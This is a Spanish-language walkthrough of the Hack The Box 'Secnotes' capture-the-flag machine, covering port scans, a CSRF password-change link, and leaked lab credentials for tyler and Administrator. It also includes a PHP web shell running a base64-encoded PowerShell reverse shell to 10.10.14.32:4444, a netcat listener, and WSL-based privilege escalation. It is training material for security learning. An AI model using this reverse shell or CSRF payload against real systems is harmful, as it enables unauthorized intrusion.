Secnotes

Secnotes
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Windows Medium 25 Agosto 2018 0xdf

Reconocimiento

Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

secnotes

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.97
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 16:53 -03
Initiating SYN Stealth Scan at 16:53
Scanning 10.10.10.97 [65535 ports]
Discovered open port 80/tcp on 10.10.10.97
Discovered open port 445/tcp on 10.10.10.97
Discovered open port 8808/tcp on 10.10.10.97
Completed SYN Stealth Scan at 16:53, 26.83s elapsed (65535 total ports)
Nmap scan report for 10.10.10.97
Host is up, received user-set (0.27s latency).
Scanned at 2025-03-26 16:53:29 -03 for 26s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE       REASON
80/tcp   open  http          syn-ack ttl 127
445/tcp  open  microsoft-ds  syn-ack ttl 127
8808/tcp open  ssports-bcast syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.89 seconds
           Raw packets sent: 131084 (5.768MB) | Rcvd: 29 (1.997KB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p80,445,8808 -oN servicesScan 10.10.10.97
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 16:54 -03
Nmap scan report for 10.10.10.97 (10.10.10.97)
Host is up (0.15s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         Microsoft IIS httpd 10.0
|_http-title: IIS Windows
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h22m06s, deviation: 4h02m31s, median: 2m05s
| smb-os-discovery: 
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2025-03-26T12:56:32-07:00
| smb2-time: 
|   date: 2025-03-26T19:56:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.43 seconds

Explotación inicial

HTTP (80)

Encontramos un panel de login. Probamos realizar una inyección SQL básica pero no tenemos respuesta, por lo que creamos una cuenta.

secnotes

secnotes

Creamos una cuenta e ingresamos al panel.

secnotes

Creamos una nueva nota de prueba

secnotes

secnotes

secnotes

secnotes

secnotes

secnotes

CSRF

El formulario de Contacto es vulnerable a CSRF. Tal como se indica, el mensaje será recibido por el usuario tyler@secnotes.htb por lo que podemos enviar el siguiente elnace para que el usuario al ingresar al mismo, cambie su contraseña.

http://10.10.10.97/change_pass.php?password=password&confirm_password=password&submit=submit

secnotes

Cerramos la sesión de nuestro usuario y ingresamos como el usuario tyler:password.

secnotes

Genial, logramos ganar acceso al panel como el usuario tyler.

secnotes

Si miramos entre las notas, encontramos una interesante, la cual revela las credenciales del usuario tyler.

secnotes

tyler / 92g!mA8BGjOirkL%OG*&

Enumeramos recursos compartidos y nos encontramos con el recurso new-site en el cual tenemos capacidad de lectura y escritura.

secnotes

secnotes

Subimios una reverse shell.

<?php system("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAyACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="); ?>

secnotes

Nos ponemos en escucha por el puerto 4444 con Netcat.

rlwrap nc -lnvp 4444
curl http://10.10.10.97:8808/shell.php

Ganamos acceso al sistema.

secnotes

Leemos el flag de user.txt

secnotes

Elevación de privilegios

Si listamos los directorios y archivos de la raíz, nos encontramos con un directorio Distros y un archivo Ubuntu.zip.

secnotes

Buscamos si wsl esta instalado.

cmd /c where /R C:\Windows wsl.exe

secnotes

Efectivamente, encontramos la precencia de wsl.exe lo cual quiere decir que esta instalado.

Ejecuta en PowerShell o CMD:

wsl --list --verbose
  • Si muestra distribuciones Linux: WSL está instalado y hay al menos una distro configurada.
  • Si dice “No hay distribuciones instaladas”: WSL está instalado, pero no hay ninguna distro de Linux disponible.
  • Si da error “wsl no se reconoce”: WSL no está instalado (aunque wsl.exe exista en WinSxS, puede estar deshabilitado).
C:\Windows\System32\wsl.exe id

secnotes

La distrubución se esta ejecutando como root.

Si seguimos enumerando, encontramos un acceso directo a bash.

secnotes

secnotes

C:\Windows\System32\bash.exe

Al intentar ejecutarlo obtenemos el siguiente error:

secnotes

Si relaizamos una busqueda del binario bash.exe en el sistema, encontramos el siguiente binario.

secnotes

Ganamos acceso a través de un pty interactivo.

secnotes

Si enumeramos el historial, encontramos las credenciales del usuario Administrator.

secnotes

Administrator:u6!4ZwgwOM#^OBf#Nwnh

Acccedemos al sistema usando psexec de la suite de Impacket.

secnotes

Post Explotación

Leemos el flag de root.txt.

secnotes